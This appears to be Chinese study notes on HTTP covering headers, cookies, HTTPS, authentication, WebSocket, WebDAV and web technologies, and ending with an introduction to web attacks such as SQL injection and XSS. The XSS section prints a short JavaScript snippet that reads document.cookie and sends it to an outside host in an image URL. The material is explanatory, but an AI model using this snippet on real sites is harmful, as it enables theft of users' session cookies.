<b>Expires: Tue, 28 Sep 2004 23:59:59 GMT

4. Transfer-Encoding

首部字段Transfer-Encoding规定了传输报文主体时采用的编码方式。

5. Upgrade

首部字段Upgrade用于检测HTTP协议及其他协议是否可使用更高的版本进行通信，其参数值可以用来指定一个完全不同的通信协议。

6. Via

追踪客户端与服务器之间的请求和响应报文的传输路径，避免请求回环的发生。

请求首部字段如下：

Accept	用户代理可处理的媒体类型
Accept-Charset	优先的字符集
Accept-Encoding	优先的内容编码
Accept-Language	优先的语言（自然语言）
Authorization	Web 认证信息
Expect	期待服务器的特定行为
From	用户的电子邮箱地址
Host	请求资源所在服务器
If-Match	比较实体标记（ETag）
If-Modified-Since	比较资源的更新时间
If-None-Match	比较实体标记（与If-Match相反）
If-Range	资源未更新时发送实体Byte的范围请求
If-Unmodified-Since	比较资源的更新时间（与If-Modified-Since相反）
Max-Forwards	最大传输逐跳数
Proxy-Authorization	代理服务器要求客户端的认证信息
Range	实体的字节范围请求
Referer	对请求中URI的原始获取方
TE	传输编码的优先级
User-Agent	HTTP客户端程序的信息

通知服务器用户代理能够处理的媒体类型及媒体类型的相对优先级，可使用type/subtype这种形式，一次指定多种媒体类型。

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Charset

通知服务器用户代理支持的字符集及字符集的相对优先顺序，可一次性指定多种字符集。与首部字段Accept相同的是可用权重q值来表示相对优先级，该首部字段应用于内容协商机制的服务器驱动协商。

Accept-Charset: iso-8859-5, unicode-1-1;q=0.8

Accept-Encoding

通知服务器用户代理支持的内容编码及内容编码的优先级顺序，可一次性指定多种内容编码。

Accept-Encoding: gzip, deflate

Accept-Language

通知服务器用户代理能够处理的自然语言集（指中文或英文等），以及自然语言集的相对优先级，可一次指定多种自然语言集。

Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3

Authorization

通知服务器用户代理的认证信息（证书值），通常想要通过服务器认证的用户代理会在接收到返回的401状态码响应后，把首部字段Authorization加入请求中。

Authorization: Basic dWVub3NlbjpwYXNzd29yZA==

Host

通知服务器请求的资源所处的互联网主机名和端口号

Host: www.hackr.jp

If-xxx

形如If-xxx这种样式的请求首部字段，都可称为条件请求。服务器接收到附带条件的请求后，只有判断指定条件为真时，才会执行请求。

If-Match：通知服务器匹配资源所用的实体标记（ETag）值，两者相等执行请求，不相等返回412 Precondition Failed。等取值为星号（*）时，会忽略ETag，只要资源存在就处理请求。
If-Modified-Since：确认代理或客户端拥有的本地资源的有效性，可通过确认首部字段 Last-Modified 来确定获取资源的最新更新时间
If-None-Match：指定If-None-Match字段值的实体标记（ETag）值与请求资源的ETag不一致时，服务器会处理该请求，和首部字段If-Match作用相反。
If-Range：告知服务器若指定的 If-Range 字段值（ETag 值或者时间）和请求资源的ETag值或时间相一致时，则作为范围请求处理。反之，则返回全体资源。
If-Unmodified-Since：作用与If-Modified-Since相反

响应首部字段如下：

Accept-Ranges	是否接受字节范围请求
Age	推算资源创建经过时间
ETag	资源的匹配信息
Location	令客户端重定向至指定 URI
Proxy-Authenticate	代理服务器对客户端的认证信息
Retry-After	对再次发起请求的时机要求
Server HTTP	服务器的安装信息
Vary	代理服务器缓存的管理信息
WWW-Authenticate	服务器对客户端的认证信息

Accept-Ranges

首部字段Accept-Ranges是用来告知客户端服务器是否能处理范围请求，可处理范围请求时指定其为bytes，反之则指定其为none。

首部字段Age告知客户端，源服务器在多久前创建了响应，字段值的单位为秒。

ETag

首部字段ETag能告知客户端实体标识。它是一种可将资源以字符串形式做唯一性标识的方式。服务器会为每份资源分配对应的ETag值。当资源更新时，ETag值也需要更新。

Location

使用首部字段Location可以将响应接收方引导至某个与请求URI位置不同的资源，基本上，该字段会配合3xx ：Redirection的响应，提供重定向的URI。几乎所有的浏览器在接收到包含首部字段Location的响应后，都会强制性地尝试对已提示的重定向资源的访问。

实体首部字段如下：

Content-Encoding	实体主体适用的编码方式
Content-Language	实体主体的自然语言
Content-Length	实体主体的大小（单位：字节）
Content-Location	替代对应资源的URI
Content-MD5	实体主体的报文摘要
Content-Range	实体主体的位置范围
Content-Type	实体主体的媒体类型
Expires	实体主体过期的日期时间
Last-Modified	资源的最后修改日期时间

五. Cookie首部字段

1. Set-Cookie

Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 GMT; path=/; domain=.hackr.jp;

NAME=VALUE：赋予Cookie的名称和其值（必需项）
expires=DATE：Cookie的有效期（若不明确指定则默认为浏览器关闭前为止）
path=PATH：将服务器上的文件目录作为Cookie的适用对象（若不指定则默认为文档所在的文件目录）
domain=域名：作为Cookie适用对象的域名（若不指定则默认为创建 Cookie 的服务器的域名）
Secure：仅在 HTTPS 安全通信时才会发送Cookie
HttpOnly：加以限制，使Cookie不能被JavaScript脚本访问

expires：指定浏览器可发送Cookie的有效期，当省略expires属性时，其有效期仅限于维持浏览器会话（Session）时间段内（浏览器应用程序被关闭之前）。一旦Cookie从服务器端发送至客户端，服务器端就不存在可以显式删除Cookie的方法，但可通过覆盖已过期的Cookie，实现对客户端Cookie的实质性删除操作。

path：限制指定Cookie的发送范围的文件目录

domain：指定的域名只要与结尾匹配一致就可以发送Cookie，比如，当指定 example.com 后，除 example.com 以外，www.example.com 或 www2.example.com 等都可以发送 Cookie。

secure：限制Web页面仅在HTTPS安全连接时，才可以发送Cookie

HttpOnly：使JavaScript脚本无法获得Cookie，其主要目的为防止跨站脚本攻击（Cross-site scripting，XSS）对Cookie的信息窃取。

Set-Cookie: name=value; HttpOnly

2. Cookie

Cookie: status=enable

首部字段Cookie会告知服务器，当客户端想获得HTTP状态管理支持时，就会在请求中包含从服务器接收到的Cookie。接收到多个Cookie时，同样可以以多个Cookie 形式发送。

六. 其他首部字段

1. X-Frame-Options

用于控制网站内容在其他Web网站的Frame标签内的显示，可以防止点击劫持（clickjacking）攻击。

DENY ：拒绝
SAMEORIGIN ：仅同源域名下的页面（Top-level-browsing-context）匹配时许可

2. X-XSS-Protection

针对跨站脚本攻击（XSS）的一种对策，用于控制浏览器XSS防护机制的开关。

0 ：将 XSS 过滤设置成无效状态
1 ：将 XSS 过滤设置成有效状态

3. DNT

拒绝个人信息被收集，表示拒绝被精准广告追踪的一种方法。

0 ：同意被追踪
1 ：拒绝被追踪

4. P3P

通过利用P3P（The Platform for Privacy Preferences，在线隐私偏好平台）技术，可以让Web网站上的个人隐私变成一种仅供程序可理解的形式，以达到保护用户隐私的目的。

步骤 1：创建 P3P 隐私
步骤 2：创建 P3P 隐私对照文件后，保存命名在/w3c/p3p.xml
步骤 3：从 P3P 隐私中新建Compact policies后，输出到HTTP响应中

第八章 HTTP演变

一. HTTP0.9~3.0

协议	特点
http0.9	只支持GET请求，不支持请求头，无状态，无连接，文本传输
http1.0	基本成型，支持身份认证、头域，增加If-modify-since(last-modify)和expires缓存配置，文本传输
http1.x	支持连接复用，分块发送，增加cache-control和If-none-match(etag)缓存配置，文本传输
http2.0	多路复用（会阻塞），报头压缩，服务器主动推送，二进制格式传输（必须基于https使用）
http3.0	采用QUIC协议实现自定义连接机制和自定义重传机制，无阻塞的多路复用

二. HTTP缺点

1. 通信被窃听

只需要收集在互联网上流动的数据包，并对其进行解析，就可以实现窃听，例如抓包（Packet Capture）或嗅探器（Sniffer）工具。

2. 通信加密

HTTP协议中没有加密机制，但可以通过和 SSL（Secure Socket Layer，安全套接层）或TLS（Transport Layer Security，安全传输层协议）的组合使用，加密HTTP的通信内容。

用SSL建立安全通信线路之后，就可以在这条线路上进行HTTP通信了。与SSL组合使用的HTTP被称为HTTPS（HTTP Secure，超文本传输安全协议）或HTTP over SSL。

3. 内容加密

客户端需要对HTTP报文进行加密处理后再发送请求，前提是要求客户端和服务器同时具备加密和解密机制。

4. 伪装通信身份

在HTTP协议通信时，由于不存在确认通信方的处理步骤，任何人都可以发起请求。另外，服务器只要接收到请求，不管对方是谁都会返回一个响应（但也仅限于发送端的 IP地址和端口号没有被Web服务器设定限制访问的前提下）。通信双方都有可能进行伪装。

SSL不仅提供加密处理，而且还使用了一种被称为证书的手段，可用于确定通信方。证书由值得信任的第三方机构颁发，用以证明服务器和客户端是实际存在的。另外，伪造证书从技术角度来说是异常困难的一件事。所以只要能够确认通信方（服务器或客户端）持有的证书，即可判断通信方的真实意图。

5. 报文完整性遭篡改

由于HTTP协议无法证明通信的报文完整性，因此，在请求或响应送出之后直到对方接收之前的这段时间内，即使请求或响应的内容遭到篡改，也没有办法获悉，即没有任何办法确认，发出的请求/响应和接收到的请求/响应是前后相同的。

SSL提供认证和加密处理及摘要功能，可以解决这个问题。

三. HTTP 2.0

HTTP2.0在2014年11月实现标准化，其目标是改善用户在使用Web时的速度体验，主要围绕着7项技术进行讨论

多路复用
TLS义务化
协商
客户端拉曳（Client Pull）/服务器推送（Server Push）
流量控制
WebSocket

四. HTTP 3.0

QUIC(Quick UDP Internet Connection)是谷歌推出的一套基于UDP的传输协议，它实现了TCP + HTTPS + HTTP/2的功能，目的是保证可靠性的同时降低网络延迟。

第九章 HTTPS优点

HTTP + 加密 + 认证 + 完整性保护 = HTTPS

一. HTTPS 是HTTP+SSL

HTTPS并非是应用层的一种新协议。只是HTTP通信接口部分用SSL（Secure Socket Layer）和TLS（Transport Layer Security）协议代替而已。通常，HTTP直接和TCP通信。当使用SSL时，则演变成先和SSL通信，再由SSL和TCP通信了。

SSL是独立于HTTP的协议，所以不光是HTTP协议，其他运行在应用层的SMTP和Telnet等协议均可配合SSL协议使用。

二. 公开密钥+共享密钥混合加密技术

加密和解密都会用到密钥，没有密钥就无法对密码解密。

加密和解密同用一个密钥的方式称为共享密钥加密（Common key crypto system），也被叫做对称密钥加密。共享密钥最大的问题是如何将密钥传递给另一方，传递过程中容易导致密钥被监听，安全性受威胁

公开密钥加密使用一对非对称的密钥，一把叫做私有密钥，另一把叫做公开密钥。发送密文的一方使用对方的公开密钥进行加密处理，对方收到被加密的信息后，再使用自己的私有密钥进行解密。

HTTPS采用共享密钥加密和公开密钥加密两者并用的混合加密机制。在交换密钥环节使用公开密钥加密方式，之后的建立通信交换报文阶段则使用共享密钥加密方式。

三. 公开密钥证书

数字证书认证机构是客户端与服务器双方都可信赖的第三方机构，其主要负责为公开密钥颁发数字签证，并将该公开密钥放入公钥证书中。

服务器会将这份由数字证书认证机构颁发的公钥证书发送给客户端，以进行公开密钥加密方式通信。公钥证书也可叫做数字证书或直接称为证书。

接到证书的客户端可使用数字证书认证机构的公开密钥，对那张证书上的数字签名进行验证，一旦验证通过，客户端便可明确两件事：认证服务器的公开密钥的是真实有效的数字证书认证机构、服务器的公开密钥是值得信赖的。

多数浏览器内部已经植入了常用认证机关的公开密钥。

四. 安全通信机制

步骤 1：客户端通过发送Client Hello报文开始SSL通信。报文中包含客户端支持的SSL版本、加密组件列表（所使用的加密算法及密钥长度等）

步骤 2：服务器可进行SSL通信时，会以Server Hello 报文作为应答。报文中包含SSL版本以及加密组件，服务器的加密组件内容是从接收到的客户端加密组件内筛选出来的

步骤 3：之后服务器发送Certificate报文。报文中包含公开密钥证书

步骤 4：最后服务器发送Server Hello Done报文通知客户端，最初阶段的 SSL 握手协商部分结束

步骤 5：SSL第一次握手结束之后，客户端以Client Key Exchange报文作为回应。报文中包含通信加密中使用的一种被称为Pre-master secret的随机密码串，该报文已用步骤3中的公开密钥进行加密

步骤 6：接着客户端继续发送Change Cipher Spec报文。该报文会提示服务器，在此报文之后的通信会采用Pre-master secret密钥加密

步骤 7：客户端发送Finished报文。该报文包含连接至今全部报文的整体校验值，这次握手协商是否能够成功，要以服务器是否能够正确解密该报文作为判定标准

步骤 8：服务器同样发送Change Cipher Spec报文

步骤 9：服务器同样发送Finished报文。

步骤 10：服务器和客户端的Finished报文交换完毕之后，SSL连接就算建立完成。接下来发送HTTP请求

步骤 11：应用层协议通信，发送HTTP响应

步骤 12：最后由客户端断开连接。断开连接时，先发送close_notify报文，再发送TCP FIN报文来关闭与TCP的通信

在通信过程中应用层发送数据时会附加MAC（Message Authentication Code）的报文摘要，MAC能够查知报文是否遭到篡改，从而保护报文的完整性。

HTTPS加密通信会消耗更多的CPU及内存资源

第十章访问者身份认证

为确认访问者是否真的具有访问系统的权限，就需要核对“登录者本人才知道的信息”、“登录者本人才会有的信息”等，一般包括以下几种：

密码：只有本人才会知道的字符串信息
动态令牌：仅限本人持有的设备内显示的一次性密码
数字证书：仅限本人（终端）持有的信息
生物认证：指纹和虹膜等本人的生理信息
IC卡等：仅限本人持有的信息

一. BASIC 认证

BASIC认证（基本认证）是从HTTP/1.0就定义的认证方式，是Web服务器与通信客户端之间进行的认证方式。

步骤 1：当请求的资源需要BASIC认证时，服务器返回状态码401 Authorization Required、带WWW-Authenticate首部字段，该字段内包含认证的方式（BASIC）及Request-URI安全域字符串（realm）

步骤 2：客户端接收到状态码401后，将用户ID及密码发送给服务器。发送的字符串内容是由用户ID和密码构成，两者中间以冒号（:）连接后，再经过Base64编码处理（加密处理）

步骤 3：接收到包含首部字段Authorization请求的服务器，会对认证信息的正确性进行验证。如验证通过，则返回一条包含Request-URI资源的响应

特点：用户ID与密码非加密处理，安全性低

二. DIGEST认证

DIGEST认证同样使用质询 / 响应的方式（challenge/response），但不会像BASIC认证那样直接发送明文密码

步骤 1：请求需认证的资源时，服务器返回状态码401 Authorization Required、带WWW-Authenticate首部字段的响应，该字段内包含质问响应方式认证所需的临时质询码（随机数nonce）

步骤 2：客户端接收到401状态码后返回响应，响应中包含DIGEST认证必须的首部字段Authorization信息，其中包含username、realm、nonce、uri和response的字段信息（realm 和nonce是之前从服务器接收到的响应中的字段）

步骤 3：接收到包含首部字段Authorization请求的服务器，会确认认证信息的正确性，认证通过后则返回包含Request-URI资源的响应

三. SSL客户端认证

借由HTTPS的客户端证书完成认证的方式，避免用户ID和密码被窃取的风险。

为达到SSL客户端认证的目的，需要事先将客户端证书分发给客户端，且客户端必须安装此证书。

步骤 1：接收到需要认证资源的请求，服务器会发送Certificate Request报文，要求客户端提供客户端证书

步骤 2：客户端把客户端证书信息以Client Certificate报文方式发送给服务器

步骤 3：服务器验证客户端证书，验证通过后方可领取证书内客户端的公开密钥，然后开始HTTPS加密通信

多数情况下，SSL客户端认证是双因素认证，即证书认证和表单认证。

四. 基于表单认证

客户端会向服务器上的Web应用程序发送登录信息（Credential），按登录信息的验证结果认证。

多数情况下，输入已事先登录的用户ID（通常是任意字符串或邮件地址）和密码等登录信息后，发送给Web应用程序，基于认证结果来决定认证是否成功。

Session管理：

一般会使用Cookie来管理Session（会话），基于表单认证本身是通过服务器端的Web应用，将客户端发送过来的用户 ID和密码与之前登录过的信息做匹配来进行认证的。由于HTTP无法实现状态管理，所以会使用Cookie来管理Session。

步骤 1：客户端把用户ID和密码等登录信息放入报文的实体部分，通常是以POST方法把请求发送给服务器。一般会使用HTTPS通信来进行HTML表单画面的显示和用户输入数据的发送

步骤 2：服务器通过验证从客户端发送过来的登录信息，验证通过后会在首部字段 Set-Cookie 内写入Session ID，并把用户的认证状态与Session ID绑定后记录在服务器端。为减轻跨站脚本攻击（XSS）造成的损失，建议事先在Cookie内加上 httponly属性

步骤 3：客户端接收到从服务器端发来的 Session ID 后，会将其作为Cookie保存在本地。下次向服务器发送请求时，浏览器会自动发送Cookie，所以Session ID 也随之发送到服务器。服务器端可通过验证接收到的Session ID识别用户和其认证状态

第十一章 HTTP协议升级

一. HTTP通信

HTTP协议以下特性导致了HTTP的瓶颈

一条连接上只可发送一个请求
请求只能从客户端开始，客户端不可以接收除响应以外的指令
请求和响应的首部未经压缩就发送，首部信息越多延迟越大
发送冗长的首部，每次互相发送相同的首部造成的浪费较多
可任意选择数据压缩格式，非强制压缩发送

二. Ajax通信

一种有效利用JavaScript和DOM的操作，以达到局部Web页面替换加载的异步通信手段。和以前的同步通信相比，由于它只更新一部分页面，响应中传输的数据量明显减少。

Ajax的核心XMLHttpRequest，其通过JavaScript脚本语言的调用就能和服务器进行HTTP通信，在已加载完毕的Web页面上发起请求，只更新局部页面。

但利用Ajax实时地从服务器获取内容，有可能会导致大量请求产生。

三. Comet通信

如果服务器端有内容更新了，Comet不会让请求等待，而是直接给客户端返回响应。这是一种通过延迟应答来模拟实现服务器端主动向客户端推送（Server Push）的功能。

其原理是服务器端接收到请求，Comet会先将响应置于挂起状态，当服务器端有内容更新时，再返回该响应。虽然在内容上可以做到实时更新，但为了保留响应，一次连接的持续时间变长了，为了维持连接会消耗更多的资源。

四. SPDY协议

为了在协议级别消除HTTP的瓶颈，SPDY应运而生。

SPDY没有完全改写HTTP协议，而是在TCP/IP的应用层与传输层之间增加了新的会话层，SPDY规定通信中使用SSL。SPDY以会话层的形式加入，控制对数据的流动，但还是采用HTTP建立通信连接，可以兼容HTTP协议的使用。

使用SPDY后，HTTP协议额外获得以下功能：

多路复用流：通过单一的TCP连接，可以无限制处理多个HTTP请求
赋予请求优先级：SPDY不仅可以无限制地并发处理请求，还可以给请求逐个分配优先级顺序
压缩HTTP首部：压缩HTTP请求和响应的首部，减少通信产生的数据包数量和发送的字节数
推送功能：支持服务器主动向客户端推送数据
服务器提示：服务器可以主动提示客户端请求所需的资源，如在客户端发现资源之前就可以获知资源的存在，避免发送不必要的请求

第十二章 WebScoket双向通信

WebSocket指Web浏览器与Web服务器之间全双工通信标准，当Web服务器与客户端之间建立起WebSocket协议的通信连接，后续就可以依靠这个专用协议进行所有的通信，通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。

WebScoket是建立在HTTP基础上的协议，因此连接的发起方仍是客户端，但连接确立后，不论服务器还是客户端都可直接向对方发送报文。

一. 特点

1. 推送功能

支持由服务器向客户端推送数据

2. 减少通信量

连接时的总开销和通信量减少了

3. 一次握手

为了实现WebSocket通信，在HTTP连接建立之后，需要完成一次“握手”（Handshaking）的步骤

4. WebScoket数据帧

握手成功后，不再使用HTTP的数据帧通信，而是采用WebSocket独立的数据帧通信

握手请求：

HTTP的Upgrade首部字段，告知服务器通信协议发生改变，以达到握手的目的。

GET /chat HTTP/1.1 
Host: server.example.com 
Upgrade: websocket 
Connection: Upgrade 
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== // 键值 
Origin: http://example.com 
Sec-WebSocket-Protocol: chat, superchat // 子协议 
Sec-WebSocket-Version: 13

握手响应：

对于之前的请求，返回状态码101 Switching Protocols的响应

HTTP/1.1 <b>101 Switching Protocols</b> 
Upgrade: websocket 
Connection: Upgrade // 由握手请求中的Sec-WebSocket-Key字段值生成 
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= 
Sec-WebSocket-Protocol: chat

5. 持久连接

通过心跳机制维持持久连接，一旦客户端没有收到响应就会请求重新连。

WebSocket心跳包是WebSocket协议的保活机制，用于维持长连接，有效的心跳包可以防止长时间不通讯时，WebSocket自动断开连接。

心跳机制原理：心跳包是指在一定时间间隔内，WebSocket发送双向的空数据包

三. 双向通信工作流程

1. 服务端关闭

客户端建立WebSocket连接
客户端向服务器发送心跳数据包，服务器接收并返回一个表示接收到心跳数据包的响应
当服务器没有及时接收到客户端发送的心跳数据包时，服务器会发送一个关闭连接的请求

2. 客户端重连

客户端建立WebSocket连接
服务器定时向客户端发送心跳数据包，客户端接收并返回一个表示接收到心跳数据包的响应
当客户端没有及时接收到服务器发送的心跳数据包时，客户端会重新连接WebSocket

四. 项目使用

有封装好可以直接使用的库Socket.IO

1）方法

ws.send()：浏览器向服务器发送数据
ws.close()：关闭连接

2）事件

ws.onopen：建立连接时触发
ws.onmessage：客户端接受服务端数据时触发
ws.onerror：通信错误时触发
ws.onclose：连接关闭时触发

3）WebSocket.readyState

readyState 属性返回实例对象的当前状态

0：正在连接
1：连接成功，可以进行通信
2：连接正在关闭
3：连接已经关闭，或者打开连接失败

// 创建一个WebSocket对象
var ws = new WebSocket("接口地址")

// 建立连接时触发
ws.onopen = function() {
    alert("已连接")
}
// 连接失败时触发
ws.onerror = function() {
    alert("连接失败")
}
// 发送数据
ws.send(); // 向服务端发送请求

// 接收服务器消息时触发
ws.onmessage = function(MessagEvent) {
    console.log(MessagEvent.data)
}
// 连接关闭的回调函数
ws.onclose = function（）{
    alert（"close"）
}

五. 高并发问题

解决思路

限制推送频率：可以在服务器端设置一个计数器或者在客户端控制发送的请求数量

利用消息队列：将WebSocket推送的消息放入消息队列中，通过另外一个线程来处理消息队列从而避免WebSocket因推送消息导致阻塞其他请求

分布式部署：将WebSocket服务部署在多台服务器上，通过负载均衡来分担压力

消息压缩：使用消息压缩技术减少网络传输的数据量，从而提高推送效率

消息过滤：在服务器端过滤不必要的消息，避免推送无用的消息，从而减少WebSocket的推送压力

解决办法

服务器层面处理：提升单台服务器的处理能力、采用分布式架构方案、应用与静态资源分离；

浏览器层面处理：页面静态化（所有可以静态的元素全部静态化，并尽量减少动态元素）、利用缓存、节流防抖；

应用与静态资源分离

分布式架构是互联网企业在业务快速发展过程中，逐渐发展起来的一种技术架构。包括了一系列的分布式技术方案：分布式缓存、负载均衡、反向代理与 CDN、分布式消息队列、分布式数据库、NoSQL 数据库、分布式文件、搜索引擎、微服务等，还有将这些分布式技术整合起来的分布式架构方案。反向代理指的是客户端直接访问的服务器并不真正提供服务，它从别的服务器获取资源然后将结果返回给用户。 CDN 服务器是分布在全国各地的，当接收到用户请求后会将请求分配到最合适的CDN服务器节点获取数据。

第十三章 WebDAV

一. 概念

基于万维网的分布式创作和版本控制，是一个可对Web服务器上的内容直接进行文件复制、编辑等操作的分布式文件系统。

具备创建、删除文件等基本功能，文件创建者管理，文件编辑过程中禁止其他用户内容覆盖的加锁功能，对文件内容修改的版本控制功能。

二. 扩展概念

集合Collection：统一管理多个资源，以集合为单位可进行各种操作，也可实现类似集合的集合这样的叠加
资源Resource：把文件或集合称为资源
属性Property：定义资源的属性，定义以“名称 = 值”的格式执行
锁Lock：把文件设置成无法编辑状态，多人同时编辑时，可防止在同一时间进行内容写入

三. 扩展方法

PROPFIND：获取属性
PROPPATCH：修改属性
MKCOL：创建集合
COPY：复制资源及属性
MOVE：移动资源
LOCK：资源加锁
UNLOCK：资源解锁

四. 扩展状态码

102 Processing：可正常处理请求，但目前是处理中状态
207 Multi-Status：存在多种状态
422 Unprocessible Entity：格式正确，内容有误
423 Locked：资源已被加锁
424 Failed Dependency：处理与某请求关联的请求失败，因此不再维持依赖关系
507 Insufficient Storage：保存空间不足

// 使用 PROPFIND 方法对 http://www.example.com/file 发起获取属性的请求
PROPFIND /file HTTP/1.1
Host: www.example.com
Content-Type: application/xml; charset="utf-8"
Content-Length: 219
<?xml version="1.0" encoding="utf-8" ?>
<D:propfind xmlns:D="DAV:">
  <D:prop xmlns:R="http://ns.example.com/boxschema/">
    <R:bigbox/>
    <R:author/>
    <R:DingALing/>
    <R:Random/>
  </D:prop>
</D:propfind>
  
// 返回 http://www.example.com/file 的属性的响应
HTTP/1.1 207 Multi-Status
Content-Type: application/xml; charset="utf-8"
Content-Length: 831
<?xml version="1.0" encoding="utf-8" ?>
<D:multistatus xmlns:D="DAV:">
  <D:response xmlns:R="http://ns.example.com/boxschema/">
  <D:href>http://www.example.com/file</D:href>
  <D:propstat>
    <D:prop>
      <R:bigbox>
        <R:BoxType>Box type A</R:BoxType>
      </R:bigbox>
      <R:author>
        <R:Name>J.J. Johnson</R:Name>
      </R:author>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  <D:propstat>
     <D:prop><R:DingALing/><R:Random/></D:prop>
     <D:status>HTTP/1.1 403 Forbidden</D:status>
     <D:responsedescription> The user does not have access to the DingALing property.
     </D:responsedescription>
  </D:propstat>
  <D:responsedescription> There has been an access violation error.
  </D:responsedescription>
</D:multistatus>

第十四章构建Web的技术

一. HTML

HTML（HyperText Markup Language，超文本标记语言）用于发送Web上的超文本（Hypertext）的标记语言。

超文本是一种文档系统，可将文档中任意位置的信息与其他信息（文本或图片等）建立关联。

标记语言是指通过在文档的某部分穿插特别的字符串标签，用来修饰文档的语言。我们把出现在HTML文档内的这种特殊字符串叫做HTML标签（Tag）

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>hackr.jp</title>
        <style type="text/css">
            .logo {
              padding: 20px;
              text-align: center;
            }
        </style>
    </head>
    
    <body>
        <div class="logo">
          <p>![img](photo.jpg" alt="photo)240" height="127" /></p>
          <p>![img](hackr.gif" alt="hackr.jp)240" height="84" /></p>
          <p><a href="http://hackr.jp/">hackr.jp</a> </p>
        </div>
    </body>
</html>

二. CSS

CSS（Cascading Style Sheets，层叠样式表）可以指定如何展现HTML内的各种元素，属于样式表标准之一。即使是相同的 HTML 文档，通过改变应用的CSS，用浏览器看到的页面外观也会随之改变。CSS的理念就是让文档的结构和设计分离，达到解耦的目的。

.logo {   
    padding: 20px;   
    text-align: center; 
}

三. 动态HTML

动态HTML（Dynamic HTML），是指使用客户端脚本语言将静态的HTML内容变成动态的技术的总称。

动态HTML技术是通过调用客户端脚本语言JavaScript，实现对HTML的Web页面的动态改造。利用DOM（Document Object Model，文档对象模型）可指定欲发生动态变化的HTML元素。

DOM是用以操作HTML文档和XML文档的API（Application Programming Interface，应用编程接口）。使用DOM可以将HTML内的元素当作对象操作，如取出元素内的字符串、改变那个CSS的属性等，使页面的设计发生改变。

<script type="text/javascript">
  var content = document.getElementsByTagName('P');
  content[2].style.color = '#FF0000';
</script>

四. XML

XML（eXtensible Markup Language，可扩展标记语言）是一种可按应用目标进行扩展的通用标记语言。旨在通过使用XML，使互联网数据共享变得更容易。XML和HTML都是从标准通用标记语言SGML（Standard Generalized Markup Language）简化而成。与HTML相比，它对数据的记录方式做了特殊处理。

<html>
<head>
<title>T公司研讨会介绍</title>
</head>
<body>
<h1>T公司研讨会介绍</h1>
<ul>
  <li>研讨会编号：TR001
    <ul>
      <li>Web应用程序脆弱性诊断讲座</li>
    </ul>
  </li>
  <li>研讨会编号：TR002
    <ul>
      <li>网络系统脆弱性诊断讲座</li>
    </ul>
  </li>
</ul>
</body>
</html>
/////-------------------------/////
<研讨会 编号="TR001" 主题="Web应用程序脆弱性诊断讲座">
  <类别>安全</类别>
  <概要>为深入研究Web应用程序脆弱性诊断必要的…</概要>
</研讨会>
<研讨会 编号="TR002" 主题="网络系统脆弱性诊断讲座">
  <类别>安全</类别>
  <概要>为深入研究网络系统脆弱性诊断必要的…</概要>
</研讨会>

五. JSON

一种以JavaScript（ECMAScript）的对象表示法为基础的轻量级数据标记语言。能够处理的数据类型有false、null、true、对象、数组、数字、字符串。JSON让数据更轻更纯粹，并且JSON的字符串形式可被JavaScript轻易地读入。

{"name": "Web Application Security", "num": "TR001"}

第十五章 Web应用攻击

简单的HTTP协议本身并不存在安全性问题，因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端，以及运行在服务器上的Web应用等资源才是攻击目标。

对Web应用的攻击模式可以分为主动攻击、被动攻击两种。

一. 以服务器为目标的主动攻击

攻击者通过直接访问Web应用，把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击，因此攻击者需要能够访问到那些资源。

主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击

1. SQL注入攻击

SQL注入（SQL Injection）是指针对Web应用使用的数据库，通过运行非法的 SQL而产生的攻击。该安全隐患有可能引发极大的威胁，有时会直接导致个人信息及机密信息的泄露。

Web应用通常都会用到数据库，当需要对数据库表内的数据进行检索或添加、删除等操作时，会使用SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏，就有可能执行被恶意注入的非法SQL语句。

SQL注入攻击可能会造成的影响：

非法查看或篡改数据库内的数据
规避认证
执行和数据库服务器业务关联的程序等

2. OS命令注入攻击

OS命令注入攻击（OS Command Injection）是指通过Web应用，执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。

OS命令注入攻击可以向Shell发送命令，让Windows或Linux操作系统的命令行启动程序。也就是说，通过OS注入攻击可执行OS上安装着的各种程序。

OS命令注入攻击可能造成的影响：

调启邮件系统发送邮件

二. 以服务器为目标的被动攻击

被动攻击（passive attack）是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中，攻击者不直接对目标Web应用访问发起攻击。

步骤 1：攻击者诱使用户触发已设置好的陷阱，而陷阱会发送已嵌入攻击代码的HTTP请求

步骤 2：当用户不知不觉中招之后，用户的浏览器或邮件客户端就会触发这个陷阱

步骤 3：中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用，运行攻击代码

步骤 4：执行完攻击代码，存在安全漏洞的 Web 应用会成为攻击者的跳板，可能导致用户所持的Cookie等个人信息被窃取，登录状态中的用户权限遭恶意滥用等后果

被动攻击模式中具有代表性的攻击是跨站脚本攻击XSS和跨站点请求伪造CSRF

1. XSS攻击

跨站脚本攻击（Cross-Site Scripting，XSS）是指通过存在安全漏洞的Web网站的注册用户浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。

XSS是攻击者利用预先设置的陷阱触发的被动攻击。

跨站脚本攻击有可能造成以下影响：

利用虚假输入表单骗取用户个人信息
利用脚本窃取用户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求
显示伪造的文章或图片
跨站脚本攻击案例

跨站脚本攻击发生场景：

动态生成的HTML

如输入表单中插入恶意的script标签

URI的查询字段指定ID

URI查询字符串拼接恶意的script标签

恶意构造脚本对用户Cookie的窃取攻击

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

2. CSRF攻击

跨站点请求伪造（Cross-Site Request Forgeries，CSRF）攻击是指攻击者通过设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新，属于被动攻击。

跨站点请求伪造可能会造成以下影响：

利用已通过认证的用户权限更新设定信息等
